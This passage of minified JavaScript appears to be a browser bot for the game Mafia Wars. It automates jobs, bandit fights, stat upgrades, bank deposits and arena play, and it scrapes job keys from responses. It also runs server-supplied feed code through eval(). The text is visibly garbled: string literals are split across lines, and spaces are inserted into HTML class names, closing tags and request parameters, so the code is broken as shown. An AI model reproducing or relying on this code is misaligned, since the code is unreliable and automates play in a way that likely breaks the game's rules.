      'do_stamina_jobs') + t('Spend energy first', 'energy_first') + Z + 'Perform up to <input type="
              text " style="
              width: 20px;
              " id=" % ID % _max_threads "/> jobs per second<br/>')) + '</div><div style="
              width: 55 % ;
              float: left;
              ">' + ba('Bandits', 'opt_bandits', ma('div_bandits', t('Eliminate job bandits', 'job_bandits') + t('Eliminate cash bandits below', 'cash_bandits', f, ' <input type="
              text " style="
              width: 30px;
              " id=" % ID % _cash_bandit_time "/> seconds') + t('Eliminate experience bandits below', 'xp_bandits', f, ' <input type="
              text " style="
              width: 30px;
              " id=" % ID % _xp_bandit_time "/> seconds') + Z + t('Ask for city crew when less than', 'ask_crew', f, ' <input type="
              text " style="
              width: 25px;
              " id=" % ID % _ask_crew_value "/>'))) + '</div><div style="
              clear: both;
              height: 16px;
              "/><div>Jobs to perform <span class="
              more_in ">(hold CTRL for multiple selection)</span><br/><div id=" % ID % _job_list " class="
              joblist "><ul id=" % ID % _job_filter "/></div></div>') + aa('Stats', 'stats') + '<div style="
              padding: 10px;
              ">' + Ta + Ua + Va + Wa + '</div>', 5, function () {
        a.aa()
      });
      var b, d, k = "
              ",
        s = -1,
        j = -1;
      for (b = 0; b < a.ra.length; b++) {
        d = a.ra.ia(b);
        if (d.j !== s || d.r !== j) k = e[d.j] && e[d.j][d.r] ? k + ('<li class="
              jl - tab ">' + e[d.j][d.r] + '</li>') : k + ('<li class="
              jl - tab ">' + Aa[d.j] + ' District ' + d.r + '</li>'), s = d.j, j = d.r;
        k += '<li class="
              jl - job " id="
              ' + d.rc + '
              ">' + d.q + "
              " + (d.z ? '<span class="
              energy ">' + d.z + '</span>' : '<span class="
              stamina ">' + d.p + '</span>');
        k += ' <span class="
              experience ">' + d.C + '</span> <span class="
              stat_info more_in ">[' + (d.C / (d.z + d.p))
          .toFixed(2) + ']</span>';
        d.m && (k += ' <span class="
              ' + Yb[d.j] + (0 > d.m ? '
              bad ">-' : '" > ') + jb[d.j] + l(Math.abs(d.m)) + ' < /span>');
        k += '</li > ';
        d.w = {
          Tb: 0,
          Mb: 0,
          Wf: 0,
          R: 0,
          uc: 0,
          Mc: 0,
          hc: 0
        }
      }
      $("#" + c + '
              _job_filter ')
        .html(k);
      $("#" + c + '
              _job_filter ')
        .selectable({
        filter: '.jl - job ',
        selected: function (b, e) {
          a.b.ib[e.selected.id] = g;
          a.c()
        },
        unselected: function (b, e) {
          a.b.ib[e.unselected.id] = F;
          a.c()
        }
      });
      $("#" + c + '
              _options_toggle ')
        .click(function () {
        ia(c + '
              _options ', c + '
              _options_toggle ');
        return F

      });
      $("#" + c + '
              _stats_toggle ')
        .click(function () {
        a.bb = ia(c + '
              _stats ', c + '
              _stats_toggle ');
        a.M();
        return F
      });
      $("#" + c + '
              _start ')
        .click(function () {
        return a.ga()
      });
      $("#" + c + '
              _stop ')
        .click(function () {
        return a.ka()
      });
      $("#" + c + '
              _cancel ')
        .click(function () {
        return a.zc()
      });
      $("#" + c + '
              _do_energy_jobs ')
        .click(function () {
        return a.bm(this)
      });
      $("#" + c + '
              _do_stamina_jobs ')
        .click(function () {
        return a.In(this)
      });
      $("#" + c + '
              _energy_first ')
        .click(function () {
        return a.am(this)
      });
      $("#" + c + '
              _job_bandits ')
        .click(function () {
        return a.Yl(this)
      });
      $("#" + c + '
              _cash_bandits ')
        .click(function () {
        return a.Xl(this)
      });
      $("#" + c + '
              _cash_bandit_time ')
        .change(function () {
        return a.Tl(this)
      });
      $("#" + c + '
              _xp_bandits ')
        .click(function () {
        return a.Zl(this)
      });
      $("#" + c + '
              _xp_bandit_time ')
        .change(function () {
        return a.Tn(this)
      });
      $("#" + c + '
              _max_threads ')
        .change(function () {
        return a.Me(this)
      });
      $("#" + c + '
              _ask_crew ')
        .click(function () {
        return a.Kl(this)
      });
      $("#" + c + '
              _ask_crew_value ')
        .change(function () {
        return a.Ll(this)
      });
      a.Fb()
    }
    D.prototype.M = function () {
      var e, d, k, s;
      if (ca() && (a.X && a.bb) && (a.U || (a.U = $("#" + c + '
              _stats ')), a.U)) {
        k = "";
        for (d = 0; d < a.ra.length; d++) if (s = a.ra.ia(d), e = s.w, e.Tb) {
          k += s.q + ' < span class = "good" > x ' + e.Tb + ' < /span> ';
          k = s.z ? k + ('<span class="energy">' + l(e.Mb) + '' + l(e.R) + '</span > ' + Da("[" + parseFloat(e.R / e.Mb)
            .toFixed(2) + "]")) : k + (' < span class = "stamina" > ' + l(e.Wf) + '
              ' + l(e.R) + ' < /span> ' + Da("[" + parseFloat(e.R / e.Wf)
            .toFixed(2) + "]"));
          if (e.Mc || e.uc || e.hc) k += ' <span class="message_group"/ > ', e.Mc && (k += ' < span class = "energy"
              title = "Wheelman - No energy/stamina used" / > x ' + l(e.Mc) + " " + Da("[" + o(100 * e.Mc / e.Tb) + "%]")), e.uc && (k += ' < span class = "experience"
              title = "Mastermind - 50% more experience" / > x ' + l(e.uc) + " " + Da("[" + o(100 * e.uc / e.Tb) + "%]")),
          e.hc && (k += ' < span class = "cash"
              title = "Bagman - 100% more cash" / > x ' + l(e.hc) + " " + Da("[" + o(100 * e.hc / e.Tb) + "%]"));
          k += ' < br / > '
        }
        a.Og && (k += '
              Stamina Opponent ' + a.Ei + '
              Level ' + l(a.Og) + ' < span class = "mafia_size" > ' + a.Ci + ' < /span> <span class="good">Won</span > ' + l(a.Ii) + ' < span class = "bad" > Lost < /span> ' + l(a.Fi) + '<br/ > ');
        e = va();
        for (d = 0; d < a.ra.length; d++) if (s = a.ra.ia(d), s.Ea) if (0 <= s.rb - e) {
          var j = s.rb - e,
            h = f,
            i = f,
            h = "",
            i = Math.floor(j / 60);
          10 > i && (h += "0");
          h += i + ":";
          i = j % 60;
          10 > i && (h += "0");
          h += i;
          k += s.q + " - " + b[s.Ea] + '
              Bandit < span class = "stat_info more_in" > [' + h + '] < /span><br/ > '
        } else s.Ea = 0, s.rb = 0;
        a.w.oa && (k += '
              Running
              for: ' + sa(a.w.oa));
        a.U.html(k);
        V.Ra()
      }
    }
    D.prototype.aa = function () {
      fb("#" + c + '
              ', "#" + c + '
              ');
      a.M()
    }
    D.prototype.Je = function (b, e) {
      return 1 === b.Ea && a.b.Wc && (e || b.rb - va() < a.b.cf) || 2 === b.Ea && a.b.Uc && (e || b.rb - va() < a.b.oe) || 3 === b.Ea && a.b.Vc ? g : F
    }
    D.prototype.di = function () {
      return a.i && a.Je(a.i, g) ? g : F
    }
    D.prototype.Pb = function () {
      a.i && (a.i.Pb = g)
    }
    D.prototype.kk = function (e) {
      var c, d;
      a.Je(e, a.i.Pb) ? (c = '
              xw_controller = ' + e.A + '
              ' + e.i + '
              ' + e.r + '
              ' + a.zb, n(A('
              Eliminating ' + b[e.Ea] + '
              Bandit ', e.q)), d = a.Zb = g) : (c = '
              xw_controller = ' + e.A + ' & xw_action = ' + e.D + '
              ' + e.i + '
              ' + e.r + '
              ' + a.zb, e.p && (c += ' & opponent_id = ' + a.Ng + '
              ' + a.Hi), d = F);
      E.J(G(c), function (b) {
        a.Tk(b, e, d)
      })
    }
    D.prototype.Ih = function () {
      if (a.Zb || !a.i || a.xc() || a.i.p && !a.xd && 0 < a.Qa || !a.Lj(a.i)) return F;
      a.$b || a.k('
              ' + a.i.q + '…
              ', 100 * a.i.i + a.i.j);
      a.Qa++;
      a.kk(a.i);
      return g
    }
    D.prototype.jk = function () {
      if (a.f) {
        a.Qa = 0;
        a.Ab = 0;
        for (a.Zb = F; a.Qa < a.b.fa && a.Ih(););
        0 >= a.Qa && (a.d = 1, a.o())
      }
    }
    D.prototype.Tk = function (b, e, c) {
      if (a.L(b)) {
        var d = e.w;
        a.Ab++;
        a.Qa--;
        if (a.P(b, '
              Problem Doing Job ')) {
          var j = m,
            h = m;
          if (7 <= e.j) try {
            if (j = JSON.parse(b.responseText)) {
              if (a.Vn(j,
              c, e, d), a.Ab >= a.b.fa || 0 >= a.Qa) a.Ab = 0, x.eb(j), a.M(), Xa()
            } else B(p('
              Problem Doing Job ', '
              '))
          } catch (o) {
            a.Ah(b, e, o)
          } else if (5 <= e.j) try {
            if ((j = JSON.parse(b.responseText)) && (h = JSON.parse(j.data)), j && h) {
              if (a.Yn(h, e, d), a.Ab >= a.b.fa || 0 >= a.Qa) a.Ab = 0, x.eb(j), a.M(), Xa()
            } else B(p('
              Problem Doing Job ', '
              '))
          } catch (i) {
            a.Ah(b, e, i)
          } else {
            e = a.Wn(b.responseText, d);
            e = g;
            if (a.Ab >= a.b.fa || 0 >= a.Qa) a.Ab = 0, x.Ha(b) || (e = F), a.M(), Xa();
            e || (a.Zb = g, a.d = 1)
          }
        }
        for (; a.Qa < a.b.fa && !(a.i = a.Ch(), !a.Ih()););
        0 >= a.Qa && (a.$b && (!a.i || !a.Je(a.i, g)) && a.Bi(), a.d = 1, a.o())
      }
    }
    D.prototype.nl = function (b) {
      a.f && (a.$b || a.k('
              Loading Job Page…
              '), "m" != xa[7] && (ga = m), E.J(G('
              xw_controller = ' + b.A + ' & xw_action = ' + b.B + '
              ' + b.r + ' & bar = 1 '), function (e) {
        a.Uk(e, b)
      }), 7 <= b.j && a.oi())
    }
    D.prototype.Uk = function (b, e) {
      if (a.L(b)) {
        if (a.P(b, '
              Load Job Page ')) {
          var c;
          if ('
              view_stage_jobs ' === e.B) try {
            var d = JSON.parse(b.responseText);
            x.eb(d);
            a.zb = "";
            if (d && d.stageJobs) {
              if (c = /xw_action=dojob.+tmp=([a-f0-9]+)/.exec(d.stageJobs)) a.zb = c[1];
              d.stageId && a.Xn(d.stageJobs, i.Ca, d.stageId)
            }
            "" !== a.zb ? Ca(A('
              Found Job Key ', a.zb)) : B(p('
              Problem Finding Job Key '));
            a.d = a.G
          } catch (j) {
            B(p('
              Load Job Page ', j))
          } else x.Ha(b), (c = /xw_action=dojob.+tmp=([a-f0-9]+)/.exec(b.responseText)) ? (a.zb = c[1], Ca(A('
              Found Job Key ', a.zb))) : (a.zb = "", B(p('
              Problem Finding Job Key '))), a.d = a.G
        }
        a.o()
      }
    }
    D.prototype.Wn = function (a, b) {
      var e;
      e = a.indexOf('
              '); - 1 !== e && (a = a.substr(e));
      e = a.indexOf('
              div id = "popup_fodder"
              '); - 1 !== e && (a = a.substr(0, e));
      if (/: Completed/.test(a)) {
        if (e = /(\d+) Energy/.exec(a)) b.Mb += o(e[1]);
        if (e = /(\d+)( \+(\d+))? Experience/.exec(a)) {
          var c = o(e[1]);
          e[3] && (c += o(e[3]));
          b.R += c
        } - 1 !== a.indexOf('
              Top Mafia Wheelman ') && b.Mc++; - 1 !== a.indexOf('
              Top Mafia Mastermind ') && b.uc++; - 1 !== a.indexOf('
              Top Mafia Bagman ') && b.hc++;
        for (c = /You (earned|gained) (some|a|an) (.+?)\./g; e = c.exec(a);) X.ef(e[3]);
        (e = /You (earned|gained) (\d+) (.+?)\./.exec(a)) && X.ef(e[3]);
        b.Tb++;
        return g
      }
      return F
    }
    D.prototype.Wi = function () {
      a.Ng = "p|0";
      a.Hi = "";
      a.Gi = "";
      a.Og = 0;
      a.Ci = 0;
      a.Ei = "";
      a.xd = F;
      a.Ii = 0;
      a.Fi = 0
    }
    D.prototype.Vn = function (b, e, c, d) {
      if (b) if (e) {
        if (a.$b || a.oi(), c.Ea = 0, c.rb = 0, a.i.Pb = F, e = b.data) if (e = e.info) if (e = e.reward) if ((b = /item_id="(\d+)"/.exec(e)) && X.ac(o(b[1])), b = /class="experience">(\d+)<\/span>/.exec(e)) d.R += o(b[1])
      } else(e = b.jobResult) ? (X.cg(e.loot), e.extraData.freeAsWheelman && d.Mc++, e.extraData.bonusExperience && d.uc++, e.extraData.bonusCash && d.hc++, e.lootBandit && e.lootBandit.length ? c.Ea !== e.lootBandit[0].type && (c.Ea = e.lootBandit[0].type, c.rb = va() + o(/time_left: (\d+)/.exec(e.lootBandit[0].markup)[1])) : (c.Ea = 0, c.rb = 0), d.Tb++, e.energy && (d.Mb += e.energy), e.experience && (d.R += e.experience), e.extraData.bonusExperience && (d.R += e.extraData.bonusExperience)) : b.data && (b.data.impulseBuy && b.data.impulseBuy.message) && -1 !== b.data.impulseBuy.message.indexOf('
              ') && (c.Ea = 3)
    }
    D.prototype.Yn = function (b, e, c) {
      var d = b.job_results;
      d && d.success ? (c.Tb++, d.exp_gained && (c.R += d.exp_gained), d.bonus_xp && (c.R += d.bonus_xp), e.p ? (c.Wf += d.stamina_consumed, d.fight_win ? (a.xd = g, a.Ii++) : (a.xd = F, a.Fi++)) : c.Mb += d.energy_consumed, d.no_energy_cost && c.Mc++, d.bonus_xp && c.uc++,
      d.bonus_cash && c.hc++, d.loot && X.ie(d.loot.image, d.loot.quantity), d.casino_loot && X.ie(d.casino_loot.image, d.casino_loot.quantity), d.chop_shop_loot && X.ie(d.chop_shop_loot.image, d.chop_shop_loot.quantity)) : d.fail_message && /The player was not found/.test(d.fail_message) && (a.xd = F);
      if (!a.xd && (a.Wi(), b = b.job_fight_list)) for (var j in b) b.hasOwnProperty(j) && 500 >= b[j].group_size && (a.Ng = b[j].id, a.Hi = b[j].job_sig, a.Gi = b[j].name, a.Og = b[j].level, a.Ci = b[j].group_size, a.Ei = L(a.Gi, a.Ng), a.xd = F)
    }
    D.prototype.oi = function () {
      a.f && !a.Kf && (a.Kf = g, E.J(G('
              xw_controller = module & xw_action = reloadModule & module = CityCrewModule & extra_data = {
                "city": ' + i.Ca + ',
                "type": "job"
              } & position = 0 & width = 0 & height = 0 '), function (b) {
        a.bl(b)
      }))
    }
    D.prototype.bl = function (b) {
      var e, c;
      if (a.L(b) && a.P(b, '
              Load Crew ') && (e = /20px;">(\d+)<\/span>/.exec(b.responseText))) if (c = a.Sc, a.Sc = o(e[1]), c !== a.Sc && n(A('
              City Crew ', '
              ' + a.Sc + '
              members ')), a.og + 30 < va() && (e = /(var feed = .+)\t\}/.exec(b.responseText))) b = e[1].replace(/MW\.Feed/g, '
              D$.feed '), a.b.Nc && a.Sc <= a.b.je && (n(A('
              City Crew ',
      '
              Posting Crew Feed Request ')), eval(b), a.og = va());
      a.Kf = F
    }
    D.prototype.ng = function (b) {
      var e, c;
      if (a.b.Xc) for (e = 0; e < a.ra.length; e++) if (c = a.ra.ia(e), a.b.ib[c.rc] && 0 < c.z && c.z <= b) return c;
      return m
    }
    D.prototype.Vj = function () {
      var b = m;
      a.b.Yc ? (b = a.ng(i.Jb)) || (b = a.pf(i.ca)) : (b = a.pf(i.ca)) || (b = a.ng(i.Jb));
      return b
    }
    D.prototype.Ch = function () {
      var b = a.Vj();
      return b !== a.i && a.i && a.Je(a.i,
      g) ? (a.i.Pb = g, a.i) : b
    }
    D.prototype.Lj = function (b) {
      return a.i.Pb ? g : a.$b ? F : a.b.ib[b.rc] && (0 < b.z && b.z <= i.Jb || 0 < b.p && b.p <= i.ca) ? g : F
    }
    D.prototype.xc = function () {
      return 0 !== a.i.j && a.i.j !== i.Ca
    }
    D.prototype.le = function () {
      return ga.f && !ga.Q && ga.K.u > a.K.u ? ga : qa.f && !qa.Q && qa.K.u > a.K.u ? qa : pa.f && !pa.Q && pa.K.u > a.K.u ? pa : m
    }
    D.prototype.o = function () {
      a.Q = F;
      if (1 === a.d) a.G = 2, a.Ib();
      else if (2 === a.d) if (a.i = a.Ch(), a.i) if (a.xc()) {
        var b = a.le();
        b ? (a.Q = g, a.k('
              Waiting
              for ' + b.xa + '
              to finish before traveling to ' + Aa[a.i.j] + '…
              ',
        10 + a.i.j), setTimeout(function () {
          a.f && a.o()
        }, 1E3)) : (a.d = 3, a.o())
      } else a.d = 4, a.o();
      else a.Q = g, a.ng(1E4) ? a.pf(1E4) ? a.k('
              Waiting
              for more energy or stamina…
              ', 1) : a.k('
              Waiting
              for more energy…
              ', 2) : a.pf(1E4) ? a.k('
              Waiting
              for more stamina…
              ', 3) : a.k('
              Waiting
              for some jobs to be selected…
              ', 4), setTimeout(function () {
        a.f && a.o()
      }, 1E3);
      else 3 === a.d ? (a.G = 4, a.af(a.i.j, F)) : 4 === a.d ? (a.G = 5, a.nl(a.i)) : 5 === a.d ? (a.G = 1, a.jk()) : 24 === a.d && a.Ga()
    }
    a.V();
    a.S();
    a.K.v && a.v(10, function () {
      a.ga()
    })
  }

  function R(d, c) {
    var a = this;
    H(a, J.prototype);
    a.Pa(d, c);
    a.K = ja.g[6];
    a.K.r = a;
    a.Lo = 0;
    a.Lc = 0;
    a.Ka = [];
    R.prototype.zo = [' ? g : 0 == ', '
              defense ', '
              max_health ', '
              max_energy ', '
              max_stamina '];
    R.prototype.Jc = [' < span class = "attack" / > Attack ', ' < span class = "defense" / > Defense ', ' < span class = "health" / > Health ', ' < span class = "energy" / > Energy ', ' < span class = "stamina" / > Stamina '];
    a.rg = F;
    R.prototype.ga = function () {
      a.f || (a.ko(), a.Cc());
      return F
    }
    R.prototype.Em = function (b) {
      a.b.pe = q(b);
      a.c();
      return g
    }
    R.prototype.Sn = function (b) {
      a.b.Kc = q(b);
      a.c();
      return g
    }
    R.prototype.bi = function () {
      for (var b = 0, e = 0; 5 > e; e++) b += a.b.Ka[e];
      return b
    }
    R.prototype.ha = function () {
      a.b = {
        pe: g,
        Ya: m,
        jb: 0,
        Kc: F,
        Ka: [0, 0, 0, 0, 0]
      }
    }
    R.prototype.c = function () {
      var b, e = {};
      e.collect_level_up_bonus = a.b.pe;
      e.level_up_bonus = a.b.Ya;
      e.level_up_level = a.b.jb;
      e.upgrade_stats = a.b.Kc;
      e.upgrade_points = [];
      for (b = 0; 5 > b; b++) e.upgrade_points[b] = a.b.Ka[b];
      ya(c, e)
    }
    R.prototype.S = function () {
      var b;
      a.ha();
      try {
        var e = {}, d = za(c);
        e.pe = d.collect_level_up_bonus;
        e.Ya = d.level_up_bonus;
        e.jb = d.level_up_level;
        e.Kc = d.upgrade_stats;
        e.Ka = [];
        for (b = 0; 5 > b; b++) e.Ka[b] = d.upgrade_points[b];
        H(a.b, e)
      } catch (h) {}
      r("#" + c + '
              _level_up_bonus ', a.b.pe);
      r("#" + c + '
              ', a.b.Kc);
      for (b = 0; 5 > b; b++) u("#" + c + '
              _upgrade_points_ ' + b, a.b.Ka[b])
    }
    R.prototype.M = function () {
      var b;
      if (ca() && a.X) {
        a.Eg || (a.Eg = $("#" + c + '
              _last_bonus '));
        a.Eg && (b = "", i.Y && (b = '
              Level ' + l(i.Y) + " " + nb(i.Y), b = i.Y !== a.b.jb || !a.b.Ya ? p(b, '
              Unknown ') : A(b, a.b.Ya + ' ( < a href = "#0"
              onclick = "D$.shareLevelUpBonus(); return false;" > Share < /a>)')), a.Eg.html(b));
        a.oh || (a.oh = $("#" + c + '_upgrade_points'));
        if (a.oh) {
          var e = a.bi();
          b = '<span class="skill_point"/ > Available ' + l(i.bg) + ' < span class = "spacer20" / > ';
          b += '
              Needed ' + l(e);
          a.oh.html(b)
        }
        V.Ra()
      }
    }
    R.prototype.aa = function () {
      a.M()
    }
    R.prototype.Kc = function () {
      if (a.f) {
        a.ee = 0;
        a.Lc = 0;
        if (a.Mk() <= i.bg) for (var b = 0; 5 > b; b++) {
          var e = a.Ka[b];
          0 < e && (a.ee = b, a.Lc = 100 <= e ? 100 : 25 <= e ? 25 : 5 <= e ? 5 : 1)
        }
        0 < a.Lc ? (a.k('
              Upgrading ' + a.Jc[a.ee] + '
              ' + a.Lc + '…
              '), E.J(G('
              xw_controller = stats & xw_action = upgrade & upgrade_key = ' + a.zo[a.ee] + ' & upgrade_amt = ' + a.Lc + '
              '), function (b) {
          a.Ao(b)
        })) : (a.d = a.G, a.o())
      }
    }
    R.prototype.Ao = function (b) {
      if (a.L(b)) {
        if (a.P(b, '
              Problem Upgrading Stats ')) try {
          var e = JSON.parse(b.responseText);

          n(A('
              Upgrade Stats ', a.Jc[a.ee] + '
              upgraded by ' + a.Lc));
          a.Ka[a.ee] = Math.max(a.Ka[a.ee] - a.Lc, 0);
          x.eb(e)
        } catch (c) {
          B(p('
              Problem Upgrading Stats ', c))
        }
        a.o()
      }
    }
    R.prototype.Zj = function () {
      a.b.jb = 0;
      a.b.Ya = m;
      a.aa();
      a.c()
    }
    R.prototype.Wk = function (b) {
      if (a.L(b)) {
        if (200 == b.status && a.b.jb !== i.Y) try {
          var e = JSON.parse(b.responseText);
          if (e && e.bonusName) {
            a.b.Ya = e.itemId && x.ba[e.itemId] ? X.Dl(e.itemId) : e.bonusName.toLowerCase();
            a.b.jb = i.Y;
            var c = A('
              Level ' + l(a.b.jb) + " " + nb(a.b.jb), a.b.Ya);
            n(c + ' ( < a href = "#0"
              onclick = "D$.shareLevelUpBonus(); return false;" > Share < /a>)');
            V.Bl(c)
          } else n(p('Level ' + l(i.Y) + " " + nb(i.Y), 'Not Found or Already Claimed'));
          a.aa();
          a.c()
        } catch (d) {
          n(p('Level ' + l(i.Y) + " " + nb(i.Y), 'Not Found or Already Claimed'))
        }
        a.d = a.G;
        a.o()
      }
    }
    R.prototype.Jl = function () {
      if (a.b.Kc && a.bi() <= i.bg) {
        for (var b = 0; 5 > b; b++) a.Ka[b] = a.b.Ka[b];
        return g
      }
      return F
    }
    R.prototype.o = function () {
      1 === a.d ? (a.G = 2, a.Ib()) : 2 === a.d ? (a.Jl() ? a.d = 10 : a.rg && a.b.pe ? (a.rg = F, a.d = 13) : a.d = 24, a.o()) : 10 === a.d ? (a.G = 1, a.Kc()) : 13 === a.d ? (a.G = 14, a.Ya()) : 14 === a.d ? (a.d = 1, a.o()) : 24 === a.d && a.Ga()
    }
    a.V();
    a.S();
    a.K.v && a.v(10, function () {
      a.ga()
    })
  }

  function fa(d, c) {
    var a = this;
    H(a, J.prototype);
    a.Pa(d, c);
    a.K = ja.g[1];
    a.K.r = a;
    a.Ji = g;
    a.sg = [];
    a.Kh = [];
    a.Jh = [];
    fa.prototype.mf = [0, 1, 0, 0, 0, 0, 0, 1, 1, 1];
    fa.prototype.ga = function () {
      a.f || a.Cc();
      return F
    }
    fa.prototype.ka = function () {
      a.Ga();
      return F
    }
    fa.prototype.ha = function () {
      var b;
      a.b = {
        Lb: [],
        Kb: [],
        Ke: F
      };
      for (b = 0; 10 > b; b++) a.b.Lb[b] = F, a.b.Kb[b] = a.mf[b] ? 10 : 0
    }
    fa.prototype.c = function () {
      var b, e = {
        bank_on: [],
        bank_at: []
      };
      for (b = 0; 10 > b; b++) e.bank_on[b] = a.b.Lb[b], e.bank_at[b] = a.b.Kb[b];
      e.old_cities = a.b.Ke;
      ya(c, e)
    }
    fa.prototype.S = function () {
      var b;
      a.ha();
      try {
        var e = {
          Lb: [],
          Kb: []
        }, d = za(c);
        for (b = 0; 10 > b; b++) e.Lb[b] = d.bank_on[b], e.Kb[b] = d.bank_at[b];
        e.Ke = d.old_cities;
        H(a.b, e)
      } catch (h) {}
      for (b = 1; 10 > b; b++) r("#" + c + '_bank_on_' + b, a.b.Lb[b]), u("#" + c + '_bank_at_' + b, a.b.Kb[b]);
      a.l();
      a.M()
    }
    fa.prototype.M = function () {
      var b;
      if (ca() && a.X && a.Ji) {
        for (b = 1; 10 > b; b++) a.mf[b] || a.b.Ke ? (a.Kh[b].html('<span class="cash_good">' + jb[b] + l(i.m[b].m) + '</span > '), a.Jh[b].html(' < span class = "cash_good" > ' + jb[b] + l(i.m[b].lf) + ' < /span>'), a.sg[b].show()) : a.sg[b].hide();
        V.Ra()
      }
    }
    fa.prototype.l = function () {
      var b;
      for (b = 1; 10 > b; b++) v(c + '_bank_on_' + b + '_data', a.b.Lb[b]);
      v(c + '_old_cities_data', a.b.Ke)
    }
    fa.prototype.Ql = function (b, e) {
      a.b.Lb[e] = q(b);
      a.l();
      a.c();
      return g
    }
    fa.prototype.Pl = function (b, e) {
      a.b.Kb[e] = C(b, 10);
      u(b, a.b.Kb[e]);
      a.c();
      return g
    }
    fa.prototype.V = function () {
      var b, e;
      ra(a, aa('Options', 'options', '<table class="banktable"><thead><tr><th class="bt-city">City</th > < th class = "bt-opt" > Options < /th><th class="bt-cash">Cash</th > < th class = "bt-bank" > Bank Balance < /th></tr > < /thead><tbody id="%ID%_body"/ > < /table>' + t('', 'old_cities')) + '<div style="padding:10px;">' + Ta + Ua + Va + Wa + '</div > ', 5, function () {
        a.aa()
      });
      e = "";
      for (b = 1; 10 > b; b++) e += '
              ' + b + '
              ' + Aa[b] + ' < /td>', e = a.mf[b] ? e + ('<td class="bt-opt">' + oa('Bank When', 'bank_on_' + b, f, ' <input type="text" style="width:80px;" id="%ID%_bank_at_' + b + '"/ > ') + ' < /td>') : e + '<td class="bt-opt" style="height:24px;"><span class="more_in">(Banking not available)</span > < /td>', e += '<td id="%ID%_cash_' + b + '" class="bt-cash">-</td > < td id = "%ID%_bank_' + b + '"
              class = "bt-bank" > - < /td></tr > ';
      $("#" + c + '
              ')
        .html(e.replace(/%ID%/g, c));
      for (b = 1; 10 > b; b++) a.uj(b);
      $("#" + c + '
              _options_toggle ')
        .click(function () {
        a.Ji = ia(c + '
              _options ', c + '
              _options_toggle ');
        a.M();
        return F
      });
      $("#" + c + '
              _start ')
        .click(function () {
        return a.ga()
      });
      $("#" + c + '
              _stop ')
        .click(function () {
        return a.ka()
      });
      $("#" + c + '
              _cancel ')
        .click(function () {
        return a.zc()
      });
      $("#" + c + '
              _old_cities ')
        .click(function () {
        return a.Pm(this)
      });
      a.Fb();
      a.M()
    }
    fa.prototype.Hl = function (b) {
      return 0 < b && a.b.Lb[b] && i.m[b].m >= a.b.Kb[b] ? g : F
    }
    fa.prototype.dk = function () {
      a.f && (a.k('
              Banking in ' + Aa[i.Ca] + '…
              '), E.J(G('
              xw_controller = bank & xw_action = deposit_all '), function (b) {
        a.ek(b)
      }))
    }
    fa.prototype.ek = function (b) {
      if (a.L(b)) {
        if (a.P(b, '
              Bank Deposit ')) try {
          var e = JSON.parse(b.responseText);
          n(A('
              Bank Deposit ', e.deposit_message));
          x.eb(e)
        } catch (c) {
          B(p('
              Bank Deposit ', c))
        }
        a.d = 1;
        a.o()
      }
    }
    fa.prototype.o = function () {
      a.Q = F;
      1 === a.d ? (a.G = 2, a.Ib()) : 2 === a.d ? !x.kh && a.Hl(i.Ca) ? a.dk() : (a.Q = g, a.k('
              Waiting
              for more money…
              ', 1), setTimeout(function () {
        a.f && a.o()
      }, 1E3)) : 24 === a.d && a.Ga()
    }
    a.V();
    a.S();
    a.K.v && a.v(10, function () {
      a.ga()
    })
  }

  function Zb() {
    this.dc = 1;
    this.eg = '
              Unknown '
  }

  function Ma(d) {
    this.id = d;
    this.I = "";
    this.wa = this.h = 0;
    this.Hg = F;
    this.Pe = this.Ja = this.N = this.gb = 0;
    this.H = "";
    this.qg = 0;
    this.gg = F;
    this.gf = this.ij = this.uo = this.p = 0;
    this.ki = -1;
    this.li = 0;
    this.va = {};
    for (d = 1; 7 >= d; d++) this.va[d] = {
      count: 0,
      time: 0,
      qf: F,
      fe: F
    };
    this.gj(this.wa, g);
    this.hj(this.Ja, g);
    this.ej(this.N, g);
    this.dj(this.qg, g);
    this.fj(this.Pe, g);
    this.Xg(this.I, this.h, g)
  }

  function z(d, c) {
    var a = this;
    H(a, J.prototype);
    a.Pa(d, c);
    a.K = ja.g[5];
    a.K.r = a;
    a.Da = m;
    a.wa = 0;
    a.fh = 0;
    a.Tc = 0;
    a.eh = 0;
    a.R = 0;
    a.mb = 0;
    a.dh = 0;
    a.Oa = 0;
    a.qa = new ua;
    a.pd = F;
    a.fg = m;
    a.dg = 0;
    a.Ej = 0;
    a.Si = 0;
    a.La = m;
    a.$a = [];
    a.F = m;
    z.prototype.Pf = {
      1: {
        q: '
              Stamina Refill ',
        de: '
              Refills your Stamina.
              '
      },
      2: {
        q: '
              Arena Health Refill ',
        de: '
              Refills your Arena Health.
              '
      },
      3: {
        q: '
              Meta Flair ',
        de: '
              Deal 50 % more damage to opponents(10s)
                .
              '
      },
      4: {
        q: '
              Pain Killer ',
        de: '
              Receive only 50 % damage from opponents(10s)
                .
              '
      },
      5: {
        q: '
              Kamikaze ',
        de: '
              Uses all your Stamina in one attack.
              '
      },
      6: {
        q: '
              Drained ',
        de: '
              Deal damage and gain opponent 's Arena Health.'
              },
              7: {
                q: 'Reflector',
                de: 'Reflect the damage dealt by opponents (10s). Cooldown 10s.'
              }
              };
              var b = ['Waiting for opponents', 'Waiting to start', 'Active', 'Ended', 'Expired'];
              z.prototype.ga = function () {
                a.f || a.Cc();
                return F
              }
              z.prototype.ka = function () {
                a.Da && a.Da.close();
                a.La && a.La.close();
                a.Ga();
                return F
              }
              z.prototype.l = function () {
                v(c + '_join_20_data', a.b.nd);
                v(c + '_join_100_data', a.b.md);
                v(c + '_join_500_data', a.b.od);
                v(c + '_skip_respect_low_data', a.b.Gc);
                v(c + '_skip_respect_high_data', a.b.Fc);
                v(c + '_power_attack_data', a.b.Aa);
                v(c + '_skip_pup_atk_data', a.b.Xd);
                v(c + '_skip_pup_def_data', a.b.Yd);
                v(c + '_stop_attack_data', a.b.be)
              }
              z.prototype.Am = function (b) {
                a.b.nd = q(b);
                a.l();
                a.c();
                return g
              }
              z.prototype.Bm = function (b) {
                a.b.ze = C(b, 20);
                a.c();
                return g
              }
              z.prototype.ym = function (b) {
                a.b.md = q(b);
                a.l();
                a.c();
                return g
              }
              z.prototype.zm = function (b) {
                a.b.ye = C(b, 100);
                a.c();
                return g
              }
              z.prototype.Cm = function (b) {
                a.b.od = q(b);
                a.l();
                a.c();
                return g
              }
              z.prototype.Dm = function (b) {
                a.b.Ae = C(b, 500);
                a.c();
                return g
              }
              z.prototype.Nn = function (b) {
                a.b.be = q(b);
                a.l();
                a.c();
                return g
              }
              z.prototype.On = function (b) {
                a.b.Ye = C(b);
                a.c();
                return g
              }
              z.prototype.Fn = function (b) {
                a.b.Gc = q(b);
                a.l();
